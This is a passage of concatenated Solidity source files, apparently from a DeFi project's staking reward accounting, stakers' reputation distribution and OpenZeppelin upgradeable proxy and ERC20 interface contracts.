if (low < high1) quickPart(data, addresses, low, high1);
high1++;
if (high1 < high) quickPart(data, addresses, high1, high);
}
}
/**
@dev Helper function to get gasPrice in GWEI then change it to cDAI/DAI
@param _gasAmount gas amount to get its value
@param _inDAI indicates if result should return in DAI
@return Price of the gas in DAI/cDAI
*/
function getGasPriceIncDAIorDAI(uint256 _gasAmount, bool _inDAI)
public
view
returns (uint256)
{
AggregatorV3Interface gasPriceOracle = AggregatorV3Interface(
nameService.getAddress("GAS_PRICE_ORACLE")
);
int256 gasPrice = gasPriceOracle.latestAnswer(); // returns gas price in 0 decimal as GWEI so 1eth / 1e9 eth
AggregatorV3Interface daiETHOracle = AggregatorV3Interface(
nameService.getAddress("DAI_ETH_ORACLE")
);
int256 daiInETH = daiETHOracle.latestAnswer(); // returns DAI price in ETH
uint256 result = ((uint256(gasPrice) * 1e18) / uint256(daiInETH)); // Gasprice in GWEI and daiInETH is 18 decimals so we multiply gasprice with 1e18 in order to get result in 18 decimals
if (_inDAI) return result * _gasAmount;
result =
(((result / 1e10) * 1e28) /
cERC20(nameService.getAddress("CDAI")).exchangeRateStored()) *
_gasAmount; // based on https://compound.finance/docs#protocol-math
return result;
}
/**
@dev Helper function to get gasPrice in G$, used to calculate the rewards for collectInterest KEEPER
@param _gasAmount gas amount to get its value
@return Price of the gas in G$
*/
function getGasPriceInGD(uint256 _gasAmount) public view returns (uint256) {
uint256 priceInCdai = getGasPriceIncDAIorDAI(_gasAmount, false);
uint256 gdPriceIncDAI = GoodReserveCDai(nameService.getAddress("RESERVE"))
.currentPrice();
return ((priceInCdai * 1e27) / gdPriceIncDAI) / 1e25; // rdiv returns result in 27 decimals since GD$ in 2 decimals then divide 1e25
}
function getActiveContractsCount() public view returns (uint256) {
return activeContracts.length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../Interfaces.sol";
contract BaseShareFieldV2 {
// rewards claimed by users
uint128 mintedRewards;
// total staked for shares calculation
uint128 totalProductivity;
// total staked that earns rewards (some stakers can donate their rewards)
uint128 totalEffectiveStakes;
// rewards accumulated for distribution
uint128 accumulatedRewards;
// block of last rewards accumulation
uint128 lastRewardBlock;
// number of blocks before reaching the max rewards multiplier (starting at 0.5 reaching 1 after maxMultiplierThreshold)
uint64 maxMultiplierThreshold;
// Staking contracts accepts Tokens with max 18 decimals so this variable holds decimal difference between 18 and Token's decimal in order to make calculations
uint8 tokenDecimalDifference;
// accumulated rewards per share in 27 decimals precision
uint256 accAmountPerShare;
//status of user rewards. everything is in 18 decimals
struct UserInfo {
uint128 amount; // How many tokens the user has provided.
uint128 effectiveStakes; // stakes not including stakes that donate their rewards
uint128 rewardDebt; // Reward debt.
uint128 rewardEarn; // Reward earn and not minted
uint128 rewardMinted; //Rewards minted to user so far
uint64 lastRewardTime; // Last time that user got rewards
uint64 multiplierResetTime; // Reset time of multiplier
}
mapping(address => UserInfo) public users;
function getStats()
external
view
returns (
uint256 _accAmountPerShare,
uint128 _mintedRewards,
uint128 _totalProductivity,
uint128 _totalEffectiveStakes,
uint128 _accumulatedRewards,
uint128 _lastRewardBlock,
uint64 _maxMultiplierThreshold,
uint8 _tokenDecimalDifference
)
{
return (
accAmountPerShare,
mintedRewards,
totalProductivity,
totalEffectiveStakes,
accumulatedRewards,
lastRewardBlock,
maxMultiplierThreshold,
tokenDecimalDifference
);
}
/**
* @dev Helper function to check if caller is fund manager
*/
function _canMintRewards() internal view virtual {}
/**
* @dev Update reward variables of the given pool to be up-to-date.
* Calculates passed blocks and adding to the reward pool
* @param rewardsPerBlock how much rewards does this contract earns per block
* @param blockStart block from which contract starts earning rewards
* @param blockEnd block from which contract stops earning rewards
*/
function _update(
uint256 rewardsPerBlock,
uint256 blockStart,
uint256 blockEnd
) internal virtual {
if (totalEffectiveStakes == 0) {
lastRewardBlock = uint128(block.number);
return;
}
if (block.number >= blockStart && lastRewardBlock < blockStart) {
lastRewardBlock = uint128(blockStart);
}
uint256 _lastRewardBlock = lastRewardBlock < blockStart &&
block.number >= blockStart
? blockStart
: lastRewardBlock;
uint256 curRewardBlock = block.number > blockEnd ? blockEnd : block.number;
if (curRewardBlock < blockStart || _lastRewardBlock >= blockEnd) return;
uint256 multiplier = curRewardBlock - _lastRewardBlock; // Blocks passed since last reward block
uint256 reward = multiplier * (rewardsPerBlock * 1e16); // rewardsPerBlock is in G$ which is only 2 decimals, we turn it into 18 decimals by multiplying 1e16
accAmountPerShare =
accAmountPerShare +
(reward * 1e27) /
(totalEffectiveStakes * (10**tokenDecimalDifference));
// Increase totalEffectiveStakes decimals if it is less than 18 decimals then accAmountPerShare in 27 decimals
lastRewardBlock = uint128(curRewardBlock);
}
/**
* @dev Audit user's rewards and calculate their earned rewards
* For the first month rewards calculated with 0.5x
* multiplier therefore they just gets half of the rewards which they earned in the first month
* after first month they get full amount of rewards for the part that they earned after one month
* @param user the user to audit
* @param updatedAmount the new stake of the user after deposit/withdraw
* @param donationPer percentage user is donating from his rewards. (currently just 0 or 100 in SimpleStaking)
*/
function _audit(
address user,
uint256 updatedAmount,
uint256 donationPer
) internal virtual {
UserInfo storage userInfo = users[user];
uint256 _amount = userInfo.amount;
uint256 userEffectiveStake = userInfo.effectiveStakes;
if (userEffectiveStake > 0) {
(
uint256 blocksToPay,
uint256 firstMonthBlocksToPay,
uint256 fullBlocksToPay
) = _auditCalcs(userInfo);
if (blocksToPay != 0) {
uint256 pending = (userEffectiveStake *
(10**tokenDecimalDifference) *
accAmountPerShare) /
1e27 -
userInfo.rewardDebt;
// Turn userInfo.amount to 18 decimals by multiplying tokenDecimalDifference if it's not and multiply with accAmountPerShare which is 27 decimals then divide it 1e27 bring it down to 18 decimals
uint256 rewardPerBlock = (pending * 1e9) / blocksToPay; // bring pending to 1e27
pending =
((((firstMonthBlocksToPay * 1e2 * 5) / 10) + fullBlocksToPay * 1e2) * // multiply first month by 0.5x (5/10) since rewards in first month with multiplier 0.5 and multiply it with 1e2 to get it 2decimals so we could get more precision
rewardPerBlock) / // Multiply fullBlocksToPay with 1e2 to bring it to 2 decimals // rewardPerBlock is in 27decimals
1e11; // Pending in 18 decimals so we divide 1e11 to bring it down to 18 decimals
userInfo.rewardEarn = uint128(userInfo.rewardEarn + pending); // Add user's earned rewards to user's account so it can be minted later
accumulatedRewards = uint128(accumulatedRewards + pending);
}
} else {
userInfo.multiplierResetTime = uint64(block.number); // Should set user's multiplierResetTime when they stake for the first time
}
//if withdrawing rewards/stake we reset multiplier, only in case of increasinig productivity we dont reset multiplier
if (updatedAmount <= _amount) {
userInfo.multiplierResetTime = uint64(block.number);
if (_amount > 0) {
//calculate relative part of user effective stakes
uint256 withdrawFromEffectiveStake = ((_amount - updatedAmount) *
userInfo.effectiveStakes) / _amount;
userInfo.effectiveStakes -= uint128(withdrawFromEffectiveStake);
totalEffectiveStakes -= uint128(withdrawFromEffectiveStake);
}
} else if (donationPer == 0) {
userInfo.effectiveStakes += uint128(updatedAmount - _amount);
totalEffectiveStakes += uint128(updatedAmount - _amount);
}
userInfo.lastRewardTime = uint64(block.number);
userInfo.amount = uint128(updatedAmount);
userInfo.rewardDebt = uint128(
(userInfo.effectiveStakes *
(10**tokenDecimalDifference) *
accAmountPerShare) / 1e27
); // Divide to 1e27 to keep rewardDebt in 18 decimals since accAmountPerShare is 27 decimals
}
/**
* @dev Helper function to make calculations in audit and getUserPendingReward methods
*/
function _auditCalcs(UserInfo memory _userInfo)
internal
view
returns (
uint256,
uint256,
uint256
)
{
uint256 blocksPaid = _userInfo.lastRewardTime -
_userInfo.multiplierResetTime; // lastRewardTime is always >= multiplierResetTime
uint256 blocksPassedFirstMonth = maxMultiplierThreshold <
block.number - _userInfo.multiplierResetTime
? maxMultiplierThreshold
: block.number - _userInfo.multiplierResetTime;
// blocks which is after first month
uint256 blocksToPay = block.number - _userInfo.lastRewardTime; // blocks passed since last payment
uint256 firstMonthBlocksToPay = blocksPaid >= maxMultiplierThreshold
? 0
: blocksPassedFirstMonth - blocksPaid; // block which is in the first month so pays with 0.5x multiplier
uint256 fullBlocksToPay = blocksToPay - firstMonthBlocksToPay; // blocks to pay in full amount which means with 1x multiplier
return (blocksToPay, firstMonthBlocksToPay, fullBlocksToPay);
}
/**
* @dev This function increase user's productivity and updates the global productivity.
* This function increase user's productivity and updates the global productivity.
* the users' actual share percentage will calculated by:
* Formula: user_productivity / global_productivity
* @param user the user to update
* @param value the increase in user stake
* @param rewardsPerBlock how much rewards does this contract earns per block
* @param blockStart block from which contract starts earning rewards
* @param blockEnd block from which contract stops earning rewards
* @param donationPer percentage user is donating from his rewards. (currently just 0 or 100 in SimpleStaking)
*/
function _increaseProductivity(
address user,
uint256 value,
uint256 rewardsPerBlock,
uint256 blockStart,
uint256 blockEnd,
uint256 donationPer
) internal virtual returns (bool) {
_update(rewardsPerBlock, blockStart, blockEnd);
_audit(user, users[user].amount + value, donationPer);
totalProductivity = uint128(totalProductivity + value);
return true;
}
/**
* @dev This function will decreases user's productivity by value, and updates the global productivity
* it will record which block this is happenning and accumulates the area of (productivity * time)
* @param user the user to update
* @param value the increase in user stake
* @param rewardsPerBlock how much rewards does this contract earns per block
* @param blockStart block from which contract starts earning rewards
* @param blockEnd block from which contract stops earning rewards
*/
function _decreaseProductivity(
address user,
uint256 value,
uint256 rewardsPerBlock,
uint256 blockStart,
uint256 blockEnd
) internal virtual returns (bool) {
_update(rewardsPerBlock, blockStart, blockEnd);
_audit(user, users[user].amount - value, 1); // donationPer variable should be something different than zero so called with 1
totalProductivity = uint128(totalProductivity - value);
return true;
}
/**
* @dev Query user's pending reward with updated variables
* @param user the user to update
* @param rewardsPerBlock how much rewards does this contract earns per block
* @param blockStart block from which contract starts earning rewards
* @param blockEnd block from which contract stops earning rewards
* @return returns amount of user's earned but not minted rewards
*/
function getUserPendingReward(
address user,
uint256 rewardsPerBlock,
uint256 blockStart,
uint256 blockEnd
) public view returns (uint256) {
UserInfo memory userInfo = users[user];
uint256 _accAmountPerShare = accAmountPerShare;
uint256 pending = 0;
if (
totalEffectiveStakes != 0 &&
block.number >= blockStart &&
blockEnd >= block.number
) {
uint256 multiplier = block.number - lastRewardBlock;
uint256 reward = multiplier * (rewardsPerBlock * 1e16); // turn it to 18 decimals since rewardsPerBlock in 2 decimals
(
uint256 blocksToPay,
uint256 firstMonthBlocksToPay,
uint256 fullBlocksToPay
) = _auditCalcs(userInfo);
_accAmountPerShare =
_accAmountPerShare +
(reward * 1e27) /
(totalEffectiveStakes * 10**tokenDecimalDifference); // Increase totalEffectiveStakes decimals if it is less than 18 decimals then accAmountPerShare in 27 decimals
UserInfo memory tempUserInfo = userInfo; // to prevent stack too deep error any other recommendation?
if (blocksToPay != 0) {
pending =
(tempUserInfo.effectiveStakes *
(10**tokenDecimalDifference) *
_accAmountPerShare) /
1e27 -
tempUserInfo.rewardDebt; // Turn userInfo.amount to 18 decimals by multiplying tokenDecimalDifference if it's not and multiply with accAmountPerShare which is 27 decimals then divide it 1e27 bring it down to 18 decimals
uint256 rewardPerBlock = (pending * 1e27) / (blocksToPay * 1e18); // bring both variable to 18 decimals and multiply pending by 1e27 so when we divide them to each other result would be in 1e27
pending =
((((firstMonthBlocksToPay * 1e2 * 5) / 10) + fullBlocksToPay * 1e2) * // multiply first month by 0.5x (5/10) since rewards in first month with multiplier 0.5 and multiply it with 1e2 to get it 2decimals so we could get more precision
rewardPerBlock) / // Multiply fullBlocksToPay with 1e2 to bring it to 2decimals // rewardPerBlock is in 27decimals
1e11; // Pending in 18 decimals so we divide 1e11 to bring it down to 18 decimals
}
}
return userInfo.rewardEarn + pending; // rewardEarn is in 18 decimals
}
/**
* @dev When the fundmanager calls this function it will updates the user records
* get the user rewards which they earned but not minted and mark it as minted
* @param user the user to update
* @param rewardsPerBlock how much rewards does this contract earns per block
* @param blockStart block from which contract starts earning rewards
* @param blockEnd block from which contract stops earning rewards
* @return returns amount to mint as reward to the user
*/
function rewardsMinted(
address user,
uint256 rewardsPerBlock,
uint256 blockStart,
uint256 blockEnd
) public returns (uint256) {
_canMintRewards();
_update(rewardsPerBlock, blockStart, blockEnd);
_audit(user, users[user].amount, 1); // donationPer variable should be something different than zero so called with 1
uint128 amount = users[user].rewardEarn;
users[user].rewardEarn = 0;
users[user].rewardMinted += amount;
mintedRewards = mintedRewards + amount;
amount = amount / 1e16; // change decimal of mint amount to GD decimals
return amount;
}
/**
* @return Returns how many productivity a user has and global has.
*/
function getProductivity(address user)
public
view
virtual
returns (uint256, uint256)
{
return (users[user].amount, totalProductivity);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../utils/DAOContract.sol";
import "../utils/NameService.sol";
import "../Interfaces.sol";
import "../governance/GReputation.sol";
import "../governance/MultiBaseGovernanceShareField.sol";
import "../staking/GoodFundManager.sol";
import "../staking/SimpleStakingV2.sol";
/**
* Staking contracts will update this contract with staker token stake amount
* This contract will be able to mint GDAO. 2M GDAO that will be allocated between staking contracts each month pro-rate based on $ value staked.
* Each staker will receive his share pro rata per staking contract he participates in
* NOTICE: a contract will start earning GDAO rewards only after first month
*/
contract StakersDistribution is
DAOUpgradeableContract,
MultiBaseGovernanceShareField
{
///@notice reputation to distribute each month, will effect next month when set
uint256 public monthlyReputationDistribution;
///@notice month number since epoch
uint256 public currentMonth;
event ReputationEarned(
address staker,
address[] stakingContracts,
uint256 reputation
);
function initialize(INameService _ns) public initializer {
monthlyReputationDistribution = 2000000 ether; //2M as specified in specs
setDAO(_ns);
}
/**
* @dev this contract runs on ethereum
*/
function getChainBlocksPerMonth() public pure override returns (uint256) {
return 172800; //4 * 60 * 24 * 30
}
/**
* @dev update the monthly reputation distribution. only avatar can do that.
* @param newMonthlyReputationDistribution the new reputation amount to distribute
*/
function setMonthlyReputationDistribution(
uint256 newMonthlyReputationDistribution
) external {
_onlyAvatar();
monthlyReputationDistribution = newMonthlyReputationDistribution;
}
/**
* @dev internal function to switch to new month. records for new month the current monthlyReputationDistribution
*/
function _updateRewards() internal {
if (nameService.getAddress("FUND_MANAGER") != address(0)) {
//read active staking contracts set pro rate monthly share
GoodFundManager gfm = GoodFundManager(
nameService.getAddress("FUND_MANAGER")
);
uint256 activeContractsCount = gfm.getActiveContractsCount();
address payable[] memory activeStakingList = new address payable[](
activeContractsCount
);
uint256[] memory contractLockedValue = new uint256[](
activeContractsCount
);
uint256 totalLockedValue;
for (uint256 i = 0; i < activeContractsCount; i++) {
activeStakingList[i] = payable(gfm.activeContracts(i));
(, uint64 blockStart, uint64 blockEnd, ) = gfm
.rewardsForStakingContract(activeStakingList[i]);
if (blockStart <= block.number && blockEnd > block.number) {
uint256 lockedValueInUSD = SimpleStakingV2(activeStakingList[i])
.lockedUSDValue();
contractLockedValue[i] = lockedValueInUSD;
totalLockedValue += contractLockedValue[i];
}
}
//set each contract relative monthly rewards
for (uint256 i = 0; i < activeContractsCount; i++) {
uint256 contractShare = totalLockedValue > 0
? (monthlyReputationDistribution * contractLockedValue[i]) /
totalLockedValue
: monthlyReputationDistribution / activeContractsCount;
if (contractLockedValue[i] > 0) {
_setMonthlyRewards(activeStakingList[i], contractShare);
}
}
}
}
/**
* @dev staking contract can call this to increase user current contribution
* @param _staker the user to update
* @param _value the value to increase by
*/
function userStaked(address _staker, uint256 _value) external {
address stakingContract = msg.sender;
(
,
uint64 blockStart,
uint64 blockEnd,
bool isBlackListed
) = GoodFundManager(nameService.getAddress("FUND_MANAGER"))
.rewardsForStakingContract(stakingContract);
if (isBlackListed) return; //dont do anything if staking contract has been blacklisted;
_increaseProductivity(
stakingContract,
_staker,
_value,
blockStart,
blockEnd
);
address[] memory contracts = new address[](1);
contracts[0] = stakingContract;
_claimReputation(_staker, contracts);
_updateRewards();
}
/**
* @dev staking contract can call this to decrease user current contribution
* @param _staker the user to update
* @param _value the value to decrease by
*/
function userWithdraw(address _staker, uint256 _value) external {
address stakingContract = msg.sender;
(
,
uint64 blockStart,
uint64 blockEnd,
bool isBlackListed
) = GoodFundManager(nameService.getAddress("FUND_MANAGER"))
.rewardsForStakingContract(stakingContract);
if (isBlackListed) return; //dont do anything if staking contract has been blacklisted;
_decreaseProductivity(
stakingContract,
_staker,
_value,
blockStart,
blockEnd
);
address[] memory contracts = new address[](1);
contracts[0] = stakingContract;
_claimReputation(_staker, contracts);
_updateRewards();
}
/**
* @dev mints reputation to user according to his share in the different staking contracts
* @param _staker the user to distribute reputation to
* @param _stakingContracts the user to distribute reputation to
*/
function claimReputation(
address _staker,
address[] calldata _stakingContracts
) external {
_claimReputation(_staker, _stakingContracts);
}
function _claimReputation(address _staker, address[] memory _stakingContracts)
internal
{
uint256 totalRep;
GoodFundManager gfm = GoodFundManager(
nameService.getAddress("FUND_MANAGER")
);
for (uint256 i = 0; i < _stakingContracts.length; i++) {
(, uint64 blockStart, uint64 blockEnd, bool isBlackListed) = gfm
.rewardsForStakingContract(_stakingContracts[i]);
if (isBlackListed == false)
totalRep += _issueEarnedRewards(
_stakingContracts[i],
_staker,
blockStart,
blockEnd
);
}
if (totalRep > 0) {
GReputation(nameService.getAddress("REPUTATION")).mint(_staker, totalRep);
emit ReputationEarned(_staker, _stakingContracts, totalRep);
}
}
/**
* @dev get user reputation rewards accrued in goodstaking contracts
* @param _contracts list of contracts to check for rewards
* @param _user the user to check rewards for
* @return reputation rewards pending for user
*/
function getUserPendingRewards(address[] memory _contracts, address _user)
public
view
returns (uint256)
{
uint256 pending;
for (uint256 i = 0; i < _contracts.length; i++) {
(
,
uint64 blockStart,
uint64 blockEnd,
bool isBlackListed
) = GoodFundManager(nameService.getAddress("FUND_MANAGER"))
.rewardsForStakingContract(_contracts[i]);
if (isBlackListed == false) {
pending += getUserPendingReward(
_contracts[i],
blockStart,
blockEnd,
_user
);
}
}
return pending;
}
/**
* @param _contracts staking contracts to sum _user minted and pending
* @param _user account to get rewards status for
* @return (minted, pending) in GDAO 18 decimals
*/
function getUserMintedAndPending(address[] memory _contracts, address _user)
public
view
returns (uint256, uint256)
{
uint256 pending = getUserPendingRewards(_contracts, _user);
uint256 minted;
for (uint256 i = 0; i < _contracts.length; i++) {
minted += contractToUsers[_contracts[i]][_user].rewardMinted;
}
return (minted, pending);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
